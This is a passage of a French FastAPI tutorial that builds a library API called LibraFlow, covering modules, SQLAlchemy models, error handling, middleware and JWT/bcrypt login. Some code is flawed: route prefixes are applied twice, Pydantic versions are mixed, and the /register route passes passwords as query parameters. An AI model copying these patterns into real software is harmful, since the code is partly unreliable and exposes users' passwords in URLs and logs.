| Créer des routes GET, POST, PUT, DELETE | [OK] |
| Utiliser les path params, query params et body | [OK] |
| Valider les données avec Pydantic | [OK] |
| Documenter l'API avec Swagger UI | [OK] |

**Prochaine étape ->** `02_PARTIE2_Architecture.md` : on va structurer proprement le projet et connecter une vraie base de données !

# [LIVRE] PARTIE 2 — Architecture et Structuration
## Chapitres 5 à 9 : Construire une API Solide

---

# Chapitre 5 : Structuration du Projet

## [OBJECTIF] Objectifs
- Passer d'un fichier unique à une architecture modulaire
- Comprendre et utiliser `APIRouter`
- Mettre en place la structure définitive de LibraFlow

---

## [LOGIQUE] Pourquoi Structurer son Projet ?

Un fichier `main.py` de 1000 lignes, c'est le cauchemar du développeur. Quand un bug apparaît à 3h du matin, tu veux trouver le problème en 30 secondes, pas en 30 minutes.

La structuration répond à un principe fondamental : **"Une responsabilité par fichier"** (Single Responsibility Principle). Chaque fichier a un rôle précis et ne fait que ça.

### Le Pattern des Couches (Layered Architecture)

```
Requête HTTP
    v
[Routes / Endpoints]  -> "Qui répond à quoi ?"
    v
[Services]            -> "Comment on le fait ?"
    v
[Repository / DB]     -> "Où sont les données ?"
    v
Base de données
```

Chaque couche ne connaît que la couche directement en dessous. Les routes ne savent pas comment la BDD fonctionne — elles appellent un service. Le service ne sait pas d'où vient la requête — il traite les données.

---

## [CODE] Structure Complète de LibraFlow

### Créer l'arborescence

```bash
mkdir -p libraflow/app/{api/routes,core,db,models,schemas,services}
touch libraflow/app/__init__.py
touch libraflow/app/main.py
touch libraflow/app/api/__init__.py
touch libraflow/app/api/routes/__init__.py
touch libraflow/app/api/routes/books.py
touch libraflow/app/api/routes/members.py
touch libraflow/app/api/routes/loans.py
touch libraflow/app/api/routes/auth.py
touch libraflow/app/api/dependencies.py
touch libraflow/app/core/config.py
touch libraflow/app/core/security.py
touch libraflow/app/models/{__init__,book,member,loan}.py
touch libraflow/app/schemas/{__init__,book,member,loan}.py
touch libraflow/app/services/{__init__,book_service,loan_service}.py
```

### Le Fichier `core/config.py` — Configuration Centralisée

```python
# app/core/config.py
from pydantic import BaseSettings  # Pour Pydantic v1
# Pour Pydantic v2 : from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    """
    Toutes les variables de configuration de LibraFlow.
    Les valeurs sont lues depuis les variables d'environnement ou le fichier .env
    """
    # Infos de l'application
    APP_NAME: str = "LibraFlow"
    APP_VERSION: str = "1.0.0"
    ENVIRONMENT: str = "development"  # "development", "staging", "production"
    
    # Serveur
    HOST: str = "0.0.0.0"
    PORT: int = 8000
    
    # Base de données
    DATABASE_URL: str = "sqlite:///./libraflow.db"  # SQLite pour commencer
    
    # Sécurité
    SECRET_KEY: str = "change-me-in-production-please"
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 30
    ALGORITHM: str = "HS256"
    
    # Upload
    MAX_FILE_SIZE_MB: int = 10
    UPLOAD_DIRECTORY: str = "./uploads"

    class Config:
        env_file = ".env"  # Lit les variables depuis un fichier .env
        case_sensitive = True

# Instance unique partagée dans toute l'application (pattern Singleton)
settings = Settings()
```

### Fichier `.env` (Ne JAMAIS committer !)

```bash
# .env — Variables d'environnement locales
APP_NAME=LibraFlow Dev
ENVIRONMENT=development
DATABASE_URL=postgresql://user:password@localhost:5432/libraflow
SECRET_KEY=super-secret-dev-key-change-in-prod-abc123xyz
ACCESS_TOKEN_EXPIRE_MINUTES=60
```

### Les Schemas Pydantic

```python
# app/schemas/book.py
from pydantic import BaseModel, Field
from typing import Optional, List
from datetime import datetime

class BookBase(BaseModel):
    """Champs communs à tous les schémas de livres"""
    title: str = Field(..., min_length=1, max_length=200)
    author: str = Field(..., min_length=2, max_length=100)
    isbn: Optional[str] = None
    year: Optional[int] = Field(None, ge=1450, le=2100)
    description: Optional[str] = None
    category: Optional[str] = None

class BookCreate(BookBase):
    """Schéma pour créer un livre — hérite de BookBase"""
    pass  # Rien de plus que BookBase pour la création

class BookUpdate(BaseModel):
    """Schéma pour mettre à jour un livre — tous les champs optionnels"""
    title: Optional[str] = Field(None, min_length=1, max_length=200)
    author: Optional[str] = None
    isbn: Optional[str] = None
    year: Optional[int] = None
    description: Optional[str] = None
    category: Optional[str] = None
    available: Optional[bool] = None

class BookResponse(BookBase):
    """Schéma pour les réponses — inclut les champs générés par le serveur"""
    id: int
    available: bool = True
    created_at: datetime
    updated_at: Optional[datetime] = None
    
    class Config:
        from_attributes = True  # Compatibilité avec les objets SQLAlchemy
```

### Les Routes avec APIRouter

```python
# app/api/routes/books.py
from fastapi import APIRouter, HTTPException, Depends, Query, Path
from typing import List
from app.schemas.book import BookCreate, BookUpdate, BookResponse

# APIRouter est comme une "mini application" FastAPI
# On définit un préfixe et des tags pour toutes les routes de ce fichier
router = APIRouter(
    prefix="/books",       # Toutes les routes commencent par /books
    tags=["[DOCS] Livres"],    # Tag affiché dans la documentation
)

# Base de données fictive (sera remplacée par SQLAlchemy au Chapitre 6)
fake_books: List[dict] = [
    {"id": 1, "title": "Le Petit Prince", "author": "Saint-Exupéry", "available": True,
     "isbn": None, "year": 1943, "description": None, "category": "Littérature"},
]

@router.get("/", response_model=List[dict], summary="Lister les livres")
async def list_books(
    skip: int = Query(0, ge=0),
    limit: int = Query(10, ge=1, le=100)
):
    return fake_books[skip:skip+limit]

@router.get("/{book_id}", summary="Récupérer un livre")
async def get_book(
    book_id: int = Path(..., ge=1, description="ID du livre")
):
    book = next((b for b in fake_books if b["id"] == book_id), None)
    if not book:
        raise HTTPException(status_code=404, detail=f"Livre {book_id} introuvable")
    return book

@router.post("/", status_code=201, summary="Créer un livre")
async def create_book(book: BookCreate):
    new_book = {
        "id": len(fake_books) + 1,
        **book.dict(),
        "available": True
    }
    fake_books.append(new_book)
    return new_book

@router.put("/{book_id}", summary="Mettre à jour un livre")
async def update_book(book_id: int, book_data: BookUpdate):
    for i, book in enumerate(fake_books):
        if book["id"] == book_id:
            # Met à jour uniquement les champs fournis
            update_data = book_data.dict(exclude_unset=True)
            fake_books[i].update(update_data)
            return fake_books[i]
    raise HTTPException(status_code=404, detail=f"Livre {book_id} introuvable")

@router.delete("/{book_id}", status_code=204, summary="Supprimer un livre")
async def delete_book(book_id: int):
    for i, book in enumerate(fake_books):
        if book["id"] == book_id:
            fake_books.pop(i)
            return  # 204 No Content
    raise HTTPException(status_code=404, detail=f"Livre {book_id} introuvable")
```

### Le Point d'Entrée Principal

```python
# app/main.py — Version structurée
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware

from app.core.config import settings
from app.api.routes import books, members, loans, auth

app = FastAPI(
    title=settings.APP_NAME,
    version=settings.APP_VERSION,
    description="API de gestion de bibliothèque numérique",
)

# Enregistrement des routes
app.include_router(auth.router, prefix="/auth", tags=["[SECURISE] Auth"])
app.include_router(books.router, prefix="/books", tags=["[DOCS] Livres"])
app.include_router(members.router, prefix="/members", tags=["[UTILISATEURS] Membres"])
app.include_router(loans.router, prefix="/loans", tags=["[SYNC] Prêts"])

@app.get("/", tags=["[ACCUEIL] Accueil"])
async def root():
    return {"message": f"Bienvenue sur {settings.APP_NAME}", "version": settings.APP_VERSION}

# Lancement en direct avec python -m app.main
if __name__ == "__main__":
    import uvicorn
    uvicorn.run("app.main:app", host=settings.HOST, port=settings.PORT, reload=True)
```

---

## [OK] Bonnes Pratiques

1. **Un fichier = une ressource** : `books.py` gère uniquement les livres
2. **Hériter les schémas** : `BookCreate` hérite de `BookBase` pour éviter la duplication
3. **Config centralisée** : toutes les variables dans `settings`
4. **Jamais de logique métier dans les routes** : les routes appellent des services

---

## [EFFORT] Exercices de Complétion

### Exercice 5.1 — Routes Membres
Crée le fichier `app/api/routes/members.py` avec un `APIRouter` pour `/members` et les opérations CRUD de base.

### Exercice 5.2 — Configuration Étendue
Ajoute à `Settings` les variables : `SMTP_SERVER`, `SMTP_PORT`, `REDIS_URL`, `MAX_LOGIN_ATTEMPTS`.

### Exercice 5.3 — Schémas Prêts
Crée `app/schemas/loan.py` avec `LoanCreate` (book_id, member_id, due_date), `LoanResponse` (id, book, member, loaned_at, returned_at).

---
---

# Chapitre 6 : Gestion des Données — Base de Données avec SQLAlchemy

## [OBJECTIF] Objectifs
- Connecter LibraFlow à une vraie base de données
- Définir les modèles SQLAlchemy (tables)
- Gérer les sessions de base de données proprement

---

## [LOGIQUE] ORM vs SQL Pur

Un **ORM** (Object-Relational Mapper) permet d'interagir avec la base de données en Python, sans écrire de SQL. Au lieu de :

```sql
SELECT * FROM books WHERE id = 42;
```

Tu écris :
```python
book = session.query(Book).filter(Book.id == 42).first()
```

**Avantages** : portabilité (tu peux changer de BDD sans réécrire), sécurité (protection contre SQL injection), clarté du code.

**Quand utiliser SQL pur** : pour des requêtes très complexes ou des optimisations de performance critiques.

---

## [CODE] Configuration SQLAlchemy pour LibraFlow

```bash
pip install sqlalchemy asyncpg aiosqlite
# asyncpg : driver PostgreSQL async
# aiosqlite : driver SQLite async (pour développement)
```

### Connexion à la Base de Données

```python
# app/db/base.py
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import DeclarativeBase, sessionmaker
from app.core.config import settings

# Moteur de connexion asynchrone
# Pour SQLite en dev :
DATABASE_URL = "sqlite+aiosqlite:///./libraflow.db"
# Pour PostgreSQL en prod :
# DATABASE_URL = "postgresql+asyncpg://user:pass@localhost/libraflow"

engine = create_async_engine(
    DATABASE_URL,
    echo=True,    # Affiche les requêtes SQL dans les logs (désactiver en prod)
    future=True
)

# Factory de sessions
AsyncSessionLocal = sessionmaker(
    engine,
    class_=AsyncSession,
    expire_on_commit=False  # Important pour l'accès aux attributs après commit
)

# Classe de base pour tous les modèles
class Base(DeclarativeBase):
    pass
```

### Modèles SQLAlchemy

```python
# app/models/book.py
from sqlalchemy import Column, Integer, String, Boolean, DateTime, Text, ForeignKey
from sqlalchemy.orm import relationship
from sqlalchemy.sql import func
from app.db.base import Base

class Book(Base):
    """
    Modèle SQLAlchemy pour la table 'books'.
    Ce modèle représente la STRUCTURE de la table en base de données.
    """
    __tablename__ = "books"  # Nom de la table SQL

    # Colonnes
    id = Column(Integer, primary_key=True, index=True, autoincrement=True)
    title = Column(String(200), nullable=False, index=True)
    author = Column(String(100), nullable=False)
    isbn = Column(String(20), unique=True, nullable=True)
    year = Column(Integer, nullable=True)
    description = Column(Text, nullable=True)
    category = Column(String(50), nullable=True, index=True)
    available = Column(Boolean, default=True, nullable=False)
    
    # Timestamps automatiques
    created_at = Column(DateTime(timezone=True), server_default=func.now())
    updated_at = Column(DateTime(timezone=True), onupdate=func.now())
    
    # Relation avec les prêts (un livre peut avoir plusieurs prêts)
    loans = relationship("Loan", back_populates="book")

    def __repr__(self):
        return f"<Book(id={self.id}, title='{self.title}')>"
```

```python
# app/models/member.py
from sqlalchemy import Column, Integer, String, Boolean, DateTime, Enum
from sqlalchemy.orm import relationship
from sqlalchemy.sql import func
from app.db.base import Base
import enum

class MemberRole(str, enum.Enum):
    ADMIN = "admin"
    LIBRARIAN = "librarian"
    READER = "reader"

class Member(Base):
    __tablename__ = "members"

    id = Column(Integer, primary_key=True, index=True)
    first_name = Column(String(50), nullable=False)
    last_name = Column(String(50), nullable=False)
    email = Column(String(100), unique=True, index=True, nullable=False)
    phone = Column(String(20), nullable=True)
    password_hash = Column(String(255), nullable=False)  # Jamais le mot de passe en clair !
    role = Column(Enum(MemberRole), default=MemberRole.READER)
    is_active = Column(Boolean, default=True)
    created_at = Column(DateTime(timezone=True), server_default=func.now())
    
    loans = relationship("Loan", back_populates="member")

    @property
    def full_name(self):
        return f"{self.first_name} {self.last_name}"
```

```python
# app/models/loan.py
from sqlalchemy import Column, Integer, ForeignKey, DateTime, Boolean, Text
from sqlalchemy.orm import relationship
from sqlalchemy.sql import func
from app.db.base import Base

class Loan(Base):
    __tablename__ = "loans"

    id = Column(Integer, primary_key=True, index=True)
    book_id = Column(Integer, ForeignKey("books.id"), nullable=False)
    member_id = Column(Integer, ForeignKey("members.id"), nullable=False)
    loaned_at = Column(DateTime(timezone=True), server_default=func.now())
    due_date = Column(DateTime(timezone=True), nullable=False)
    returned_at = Column(DateTime(timezone=True), nullable=True)
    is_returned = Column(Boolean, default=False)
    notes = Column(Text, nullable=True)
    
    # Relations bidirectionnelles
    book = relationship("Book", back_populates="loans")
    member = relationship("Member", back_populates="loans")
```

### Gestion des Sessions (Dependency Injection)

```python
# app/api/dependencies.py
from sqlalchemy.ext.asyncio import AsyncSession
from app.db.base import AsyncSessionLocal
from typing import AsyncGenerator

async def get_db() -> AsyncGenerator[AsyncSession, None]:
    """
    Dépendance FastAPI pour obtenir une session de base de données.
    
    Le pattern "yield" dans un async generator garantit que :
    1. La session est ouverte avant l'endpoint
    2. La session est fermée APRÈS l'endpoint (même en cas d'erreur)
    
    Usage dans un endpoint :
        @router.get("/books")
        async def list_books(db: AsyncSession = Depends(get_db)):
            ...
    """
    async with AsyncSessionLocal() as session:
        try:
            yield session          # Fournit la session à l'endpoint
            await session.commit() # Commit si tout s'est bien passé
        except Exception:
            await session.rollback()  # Annule en cas d'erreur
            raise
        finally:
            await session.close()  # Ferme toujours la session
```

### Initialisation de la Base de Données

```python
# app/db/init_db.py
from sqlalchemy.ext.asyncio import AsyncSession
from app.db.base import engine, Base
from app.models import book, member, loan  # Importer tous les modèles

async def create_tables():
    """Crée toutes les tables si elles n'existent pas"""
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.create_all)
    print("[OK] Tables créées avec succès")

async def drop_tables():
    """Supprime toutes les tables (DANGER - dev uniquement !)"""
    async with engine.begin() as conn:
        await conn.run_sync(Base.metadata.drop_all)
    print("[ATTENTION] Toutes les tables ont été supprimées")
```

```python
# app/main.py — Ajouter l'événement de démarrage
from app.db.init_db import create_tables

@app.on_event("startup")
async def startup_event():
    """Exécuté au démarrage du serveur"""
    await create_tables()
    print(f"[RAPIDE] {settings.APP_NAME} démarré !")
```

---

## [EFFORT] Exercices de Complétion

### Exercice 6.1 — Modèle Catégorie
Crée un modèle `Category` (id, name, description) et établis une vraie relation Many-to-Many avec `Book` via une table intermédiaire `book_categories`.

### Exercice 6.2 — Modèle Réservation
Crée un modèle `Reservation` pour permettre aux membres de réserver un livre actuellement emprunté. Établis les bonnes relations avec `Book` et `Member`.

---
---

# Chapitre 7 : CRUD Complet avec SQLAlchemy

## [OBJECTIF] Objectifs
- Implémenter les opérations CRUD avec une vraie base de données
- Utiliser le pattern Repository/Service
- Gérer la pagination et le filtrage

---

## [CODE] Service Layer pour LibraFlow

```python
# app/services/book_service.py
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select, or_
from sqlalchemy.orm import selectinload
from typing import List, Optional
from app.models.book import Book
from app.schemas.book import BookCreate, BookUpdate
from fastapi import HTTPException

class BookService:
    """
    Service contenant toute la logique métier liée aux livres.
    Les routes appellent ce service — elles ne touchent JAMAIS SQLAlchemy directement.
    """
    
    def __init__(self, db: AsyncSession):
        self.db = db
    
    async def get_all(
        self,
        skip: int = 0,
        limit: int = 10,
        search: Optional[str] = None,
        category: Optional[str] = None,
        available_only: bool = False
    ) -> List[Book]:
        """Récupère les livres avec filtres et pagination"""
        # Construction de la requête de base
        query = select(Book)
        
        # Filtres dynamiques
        conditions = []
        if search:
            # Recherche dans titre OU auteur (case insensitive)
            conditions.append(
                or_(
                    Book.title.ilike(f"%{search}%"),
                    Book.author.ilike(f"%{search}%")
                )
            )
        if category:
            conditions.append(Book.category == category)
        if available_only:
            conditions.append(Book.available == True)
        
        # Applique tous les filtres
        if conditions:
            query = query.where(*conditions)
        
        # Pagination
        query = query.offset(skip).limit(limit).order_by(Book.title)
        
        result = await self.db.execute(query)
        return result.scalars().all()
    
    async def get_by_id(self, book_id: int) -> Book:
        """Récupère un livre par son ID ou lève une exception 404"""
        result = await self.db.execute(
            select(Book).where(Book.id == book_id)
        )
        book = result.scalar_one_or_none()  # None si pas trouvé
        if not book:
            raise HTTPException(status_code=404, detail=f"Livre {book_id} introuvable")
        return book
    
    async def create(self, book_data: BookCreate) -> Book:
        """Crée un nouveau livre en base de données"""
        # Vérifie si l'ISBN existe déjà
        if book_data.isbn:
            existing = await self.db.execute(
                select(Book).where(Book.isbn == book_data.isbn)
            )
            if existing.scalar_one_or_none():
                raise HTTPException(
                    status_code=409,  # Conflict
                    detail=f"Un livre avec l'ISBN {book_data.isbn} existe déjà"
                )
        
        # Crée l'objet SQLAlchemy
        db_book = Book(**book_data.dict())
        self.db.add(db_book)
        await self.db.flush()  # flush() assigne l'ID sans committer
        await self.db.refresh(db_book)  # Recharge depuis la DB (pour avoir created_at, etc.)
        return db_book
    
    async def update(self, book_id: int, book_data: BookUpdate) -> Book:
        """Met à jour un livre existant"""
        book = await self.get_by_id(book_id)  # Lève 404 si pas trouvé
        
        # exclude_unset=True : ne met à jour que les champs fournis
        update_data = book_data.dict(exclude_unset=True)
        for field, value in update_data.items():
            setattr(book, field, value)
        
        await self.db.flush()
        await self.db.refresh(book)
        return book
    
    async def delete(self, book_id: int) -> None:
        """Supprime un livre (vérifie d'abord s'il n'a pas de prêt actif)"""
        book = await self.get_by_id(book_id)
        
        # Vérifie s'il y a des prêts actifs
        if not book.available:
            raise HTTPException(
                status_code=400,
                detail="Impossible de supprimer un livre actuellement emprunté"
            )
        
        await self.db.delete(book)
```

### Routes Utilisant le Service

```python
# app/api/routes/books.py — Version complète avec DB
from fastapi import APIRouter, Depends, Query, Path, HTTPException
from sqlalchemy.ext.asyncio import AsyncSession
from typing import List, Optional

from app.api.dependencies import get_db
from app.schemas.book import BookCreate, BookUpdate, BookResponse
from app.services.book_service import BookService

router = APIRouter()

@router.get("/", response_model=List[BookResponse])
async def list_books(
    skip: int = Query(0, ge=0),
    limit: int = Query(10, ge=1, le=100),
    search: Optional[str] = Query(None, description="Recherche dans titre et auteur"),
    category: Optional[str] = Query(None),
    available_only: bool = Query(False),
    db: AsyncSession = Depends(get_db)  # Injection de la session DB
):
    service = BookService(db)
    return await service.get_all(
        skip=skip, limit=limit,
        search=search, category=category,
        available_only=available_only
    )

@router.get("/{book_id}", response_model=BookResponse)
async def get_book(
    book_id: int = Path(..., ge=1),
    db: AsyncSession = Depends(get_db)
):
    return await BookService(db).get_by_id(book_id)

@router.post("/", response_model=BookResponse, status_code=201)
async def create_book(
    book: BookCreate,
    db: AsyncSession = Depends(get_db)
):
    return await BookService(db).create(book)

@router.patch("/{book_id}", response_model=BookResponse)
async def update_book(
    book_id: int,
    book_data: BookUpdate,
    db: AsyncSession = Depends(get_db)
):
    return await BookService(db).update(book_id, book_data)

@router.delete("/{book_id}", status_code=204)
async def delete_book(
    book_id: int,
    db: AsyncSession = Depends(get_db)
):
    await BookService(db).delete(book_id)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 7.1 — LoanService
Implémente `LoanService` avec les méthodes :
- `create_loan(member_id, book_id, due_date)` : vérifie que le livre est disponible, crée le prêt, marque le livre comme indisponible
- `return_book(loan_id)` : marque le prêt comme retourné, remet le livre disponible
- `get_overdue_loans()` : retourne les prêts dont la `due_date` est dépassée

### Exercice 7.2 — Pagination Améliorée
Modifie `list_books` pour retourner non pas une simple liste mais un objet :
```json
{
  "items": [...],
  "total": 150,
  "skip": 0,
  "limit": 10,
  "pages": 15
}
```

---
---

# Chapitre 8 : Gestion des Erreurs et Exceptions

## [OBJECTIF] Objectifs
- Gérer les erreurs de manière centralisée et professionnelle
- Créer des réponses d'erreur cohérentes
- Ne jamais exposer les détails internes

---

## [CODE] Gestion des Erreurs dans LibraFlow

```python
# app/core/exceptions.py
from fastapi import FastAPI, Request, HTTPException
from fastapi.responses import JSONResponse
from fastapi.exceptions import RequestValidationError
from sqlalchemy.exc import IntegrityError
import logging

logger = logging.getLogger(__name__)

# Format standard pour toutes les erreurs de LibraFlow
def error_response(status_code: int, message: str, details: dict = None):
    content = {
        "error": True,
        "status_code": status_code,
        "message": message,
    }
    if details:
        content["details"] = details
    return JSONResponse(status_code=status_code, content=content)


def setup_exception_handlers(app: FastAPI):
    """Configure tous les gestionnaires d'erreurs sur l'application"""
    
    @app.exception_handler(HTTPException)
    async def http_exception_handler(request: Request, exc: HTTPException):
        """Gère les HTTPException levées explicitement dans le code"""
        return error_response(exc.status_code, exc.detail)
    
    @app.exception_handler(RequestValidationError)
    async def validation_exception_handler(request: Request, exc: RequestValidationError):
        """
        Gère les erreurs de validation Pydantic.
        Retourne un message clair sur quels champs sont invalides.
        """
        errors = []
        for error in exc.errors():
            errors.append({
                "field": " -> ".join(str(loc) for loc in error["loc"]),
                "message": error["msg"],
                "type": error["type"]
            })
        
        return error_response(
            status_code=422,
            message="Données invalides",
            details={"validation_errors": errors}
        )
    
    @app.exception_handler(IntegrityError)
    async def integrity_error_handler(request: Request, exc: IntegrityError):
        """Gère les violations de contraintes de base de données"""
        logger.error(f"IntegrityError: {exc}")  # Log l'erreur interne
        # Ne jamais retourner les détails SQL au client !
        return error_response(409, "Conflit de données — cet enregistrement existe déjà")
    
    @app.exception_handler(Exception)
    async def generic_exception_handler(request: Request, exc: Exception):
        """Catch-all pour les erreurs inattendues"""
        logger.error(f"Unhandled exception: {exc}", exc_info=True)
        # En PRODUCTION, ne jamais retourner le détail de l'exception
        return error_response(500, "Erreur interne du serveur")
```

```python
# app/main.py — Intégrer les handlers
from app.core.exceptions import setup_exception_handlers

app = FastAPI(...)
setup_exception_handlers(app)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 8.1 — Exceptions Métier Personnalisées
Crée des classes d'exception spécifiques à LibraFlow :
```python
class BookNotAvailableError(Exception): ...
class MemberQuotaExceededError(Exception): ...  # Max 3 livres empruntés simultanément
```
Et ajoute leurs handlers dans `setup_exception_handlers`.

### Exercice 8.2 — Logging Structuré
Ajoute dans chaque handler un log avec : l'URL de la requête, la méthode HTTP, l'IP du client, et le code d'erreur.

---
---

# Chapitre 9 : Middleware et Hooks

## [OBJECTIF] Objectifs
- Comprendre le pipeline de traitement des requêtes
- Créer des middlewares utiles pour LibraFlow
- Configurer CORS correctement

---

## [LOGIQUE] Qu'est-ce qu'un Middleware ?

Un middleware est un composant qui s'exécute **pour chaque requête**, avant et après le traitement par l'endpoint. C'est comme un filtre :

```
Client -> [Middleware 1] -> [Middleware 2] -> [Endpoint] -> [Middleware 2] -> [Middleware 1] -> Client
```

Les middlewares sont empilés en "oignon" : le premier ajouté est le dernier exécuté au retour.

---

## [CODE] Middlewares pour LibraFlow

```python
# app/middleware.py
import time
import uuid
import logging
from fastapi import FastAPI, Request, Response
from fastapi.middleware.cors import CORSMiddleware
from starlette.middleware.base import BaseHTTPMiddleware

logger = logging.getLogger(__name__)

# 1. Middleware de timing et logging
class RequestLoggingMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        # Avant l'endpoint
        request_id = str(uuid.uuid4())[:8]  # ID unique pour tracer la requête
        start_time = time.time()
        
        logger.info(f"[{request_id}] -> {request.method} {request.url.path}")
        
        # Exécute l'endpoint
        response = await call_next(request)
        
        # Après l'endpoint
        duration = (time.time() - start_time) * 1000  # En millisecondes
        logger.info(
            f"[{request_id}] <- {response.status_code} "
            f"({duration:.2f}ms)"
        )
        
        # Ajoute des headers utiles à la réponse
        response.headers["X-Request-ID"] = request_id
        response.headers["X-Process-Time"] = f"{duration:.2f}ms"
        
        return response


# 2. Middleware de sécurité headers
class SecurityHeadersMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request: Request, call_next):
        response = await call_next(request)
        # Headers de sécurité standard
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["X-Frame-Options"] = "DENY"
        response.headers["X-XSS-Protection"] = "1; mode=block"
        response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin"
        return response


def setup_middleware(app: FastAPI, allowed_origins: list):
    """Configure tous les middlewares de l'application"""
    
    # CORS — Doit être le PREMIER middleware ajouté (dernier exécuté)
    app.add_middleware(
        CORSMiddleware,
        allow_origins=allowed_origins,      # ["http://localhost:3000"] pour le frontend
        allow_credentials=True,             # Autorise les cookies
        allow_methods=["GET", "POST", "PUT", "PATCH", "DELETE", "OPTIONS"],
        allow_headers=["Authorization", "Content-Type", "X-Requested-With"],
    )
    
    # Logging et timing
    app.add_middleware(RequestLoggingMiddleware)
    
    # Headers de sécurité
    app.add_middleware(SecurityHeadersMiddleware)
```

```python
# app/main.py — Version finale Partie 2
from app.middleware import setup_middleware
from app.core.config import settings

setup_middleware(
    app,
    allowed_origins=["http://localhost:3000", "https://libraflow.com"]
)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 9.1 — Rate Limiting Simple
Crée un middleware qui limite les requêtes à 60 par minute par adresse IP. Au-delà, retourner une erreur 429 (Too Many Requests).

### Exercice 9.2 — Middleware de Maintenance
Crée un middleware qui lit une variable d'environnement `MAINTENANCE_MODE=true/false`. Si activé, toutes les requêtes (sauf `/health`) retournent 503 avec un message de maintenance.

---

## [BRAVO] Récapitulatif de la Partie 2

| Compétence | Niveau |
|---|---|
| Structurer un projet modulaire avec APIRouter | [OK] |
| Connecter SQLAlchemy avec une vraie BDD | [OK] |
| Implémenter le pattern Service/Repository | [OK] |
| Gérer les erreurs de manière centralisée | [OK] |
| Configurer les middlewares et CORS | [OK] |

**Prochaine étape ->** `03_PARTIE3_Securite.md` : on va sécuriser LibraFlow avec JWT !

# [VERROUILLE] PARTIE 3 — Sécurité et Authentification
## Chapitres 10 à 12 : Protéger LibraFlow

---

# Chapitre 10 : Authentification — JWT et Bcrypt

## [OBJECTIF] Objectifs
- Comprendre le flux d'authentification par token JWT
- Implémenter la connexion sécurisée dans LibraFlow
- Hacher les mots de passe avec bcrypt

---

## [LOGIQUE] Comment Fonctionne l'Authentification par Token ?

### Le Problème de l'Identification

HTTP est un protocole **sans état** (stateless). Chaque requête est indépendante — le serveur ne se souvient pas que tu étais connecté 2 secondes avant. Pour les applications qui nécessitent une connexion, on a besoin d'un mécanisme d'identification.

### La Solution : Les Tokens JWT

**JWT** (JSON Web Token) est un format de token standardisé. C'est une chaîne encodée en Base64 contenant 3 parties séparées par des points :

```
eyJhbGciOiJIUzI1NiJ9          <- Header (algorithme)
.eyJzdWIiOiIxIn0               <- Payload (données utilisateur)
.SflKxwRJSMeKKF2QT4fwpMeJf36  <- Signature (vérification)
```

**Le flux complet :**

```
1. Client -> POST /auth/login {email, password}
2. Serveur -> vérifie les credentials, génère un JWT signé
3. Serveur -> Client : {"access_token": "eyJ...", "token_type": "bearer"}
4. Client stocke le token

5. Client -> GET /books  [Authorization: Bearer eyJ...]
6. Serveur -> décode et vérifie le JWT
7. Serveur -> Client : [données des livres]
```

---

## [CODE] Installation

```bash
pip install python-jose[cryptography] passlib[bcrypt] python-multipart
```

### Module de Sécurité

```python
# app/core/security.py
from datetime import datetime, timedelta
from typing import Optional
from jose import JWTError, jwt
from passlib.context import CryptContext
from app.core.config import settings

pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")

def hash_password(password: str) -> str:
    """Hache un mot de passe avec bcrypt — à sens unique"""
    return pwd_context.hash(password)

def verify_password(plain_password: str, hashed_password: str) -> bool:
    """Vérifie qu'un mot de passe correspond à son hash"""
    return pwd_context.verify(plain_password, hashed_password)

def create_access_token(data: dict, expires_delta: Optional[timedelta] = None) -> str:
    """Génère un token JWT d'accès signé"""
    to_encode = data.copy()
    expire = datetime.utcnow() + (
        expires_delta or timedelta(minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES)
    )
    to_encode.update({"exp": expire, "iat": datetime.utcnow()})
    return jwt.encode(to_encode, settings.SECRET_KEY, algorithm=settings.ALGORITHM)

def create_refresh_token(user_id: int) -> str:
    """Token longue durée (30 jours) pour renouveler le access_token"""
    return create_access_token(
        data={"sub": str(user_id), "type": "refresh"},
        expires_delta=timedelta(days=30)
    )

def decode_access_token(token: str) -> Optional[dict]:
    """Décode un JWT — retourne None si invalide ou expiré"""
    try:
        return jwt.decode(token, settings.SECRET_KEY, algorithms=[settings.ALGORITHM])
    except JWTError:
        return None
```

### Routes d'Authentification

```python
# app/api/routes/auth.py
from fastapi import APIRouter, Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer, OAuth2PasswordRequestForm
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from datetime import timedelta

from app.api.dependencies import get_db
from app.models.member import Member
from app.core.security import verify_password, hash_password, create_access_token, create_refresh_token
from app.core.config import settings

router = APIRouter()
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

@router.post("/register", status_code=201)
async def register(
    first_name: str, last_name: str, email: str, password: str,
    db: AsyncSession = Depends(get_db)
):
    result = await db.execute(select(Member).where(Member.email == email))
    if result.scalar_one_or_none():
        raise HTTPException(409, "Email déjà utilisé")
    
    member = Member(
        first_name=first_name, last_name=last_name,
        email=email,
        password_hash=hash_password(password)  # <- Jamais en clair !
    )
    db.add(member)
    await db.flush()
    return {"message": "Compte créé", "id": member.id}

@router.post("/login")
async def login(
    form_data: OAuth2PasswordRequestForm = Depends(),
    db: AsyncSession = Depends(get_db)
):
    result = await db.execute(select(Member).where(Member.email == form_data.username))
    member = result.scalar_one_or_none()
    
    # Même message d'erreur pour email inconnu ET mauvais mdp
    # (évite de révéler quels emails sont enregistrés)
    if not member or not verify_password(form_data.password, member.password_hash):
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Email ou mot de passe incorrect",
            headers={"WWW-Authenticate": "Bearer"},
        )
    
    if not member.is_active:
        raise HTTPException(403, "Compte désactivé")
    
    access_token = create_access_token(
        data={"sub": str(member.id), "email": member.email, "role": member.role},
        expires_delta=timedelta(minutes=settings.ACCESS_TOKEN_EXPIRE_MINUTES)
    )
    
    return {
        "access_token": access_token,
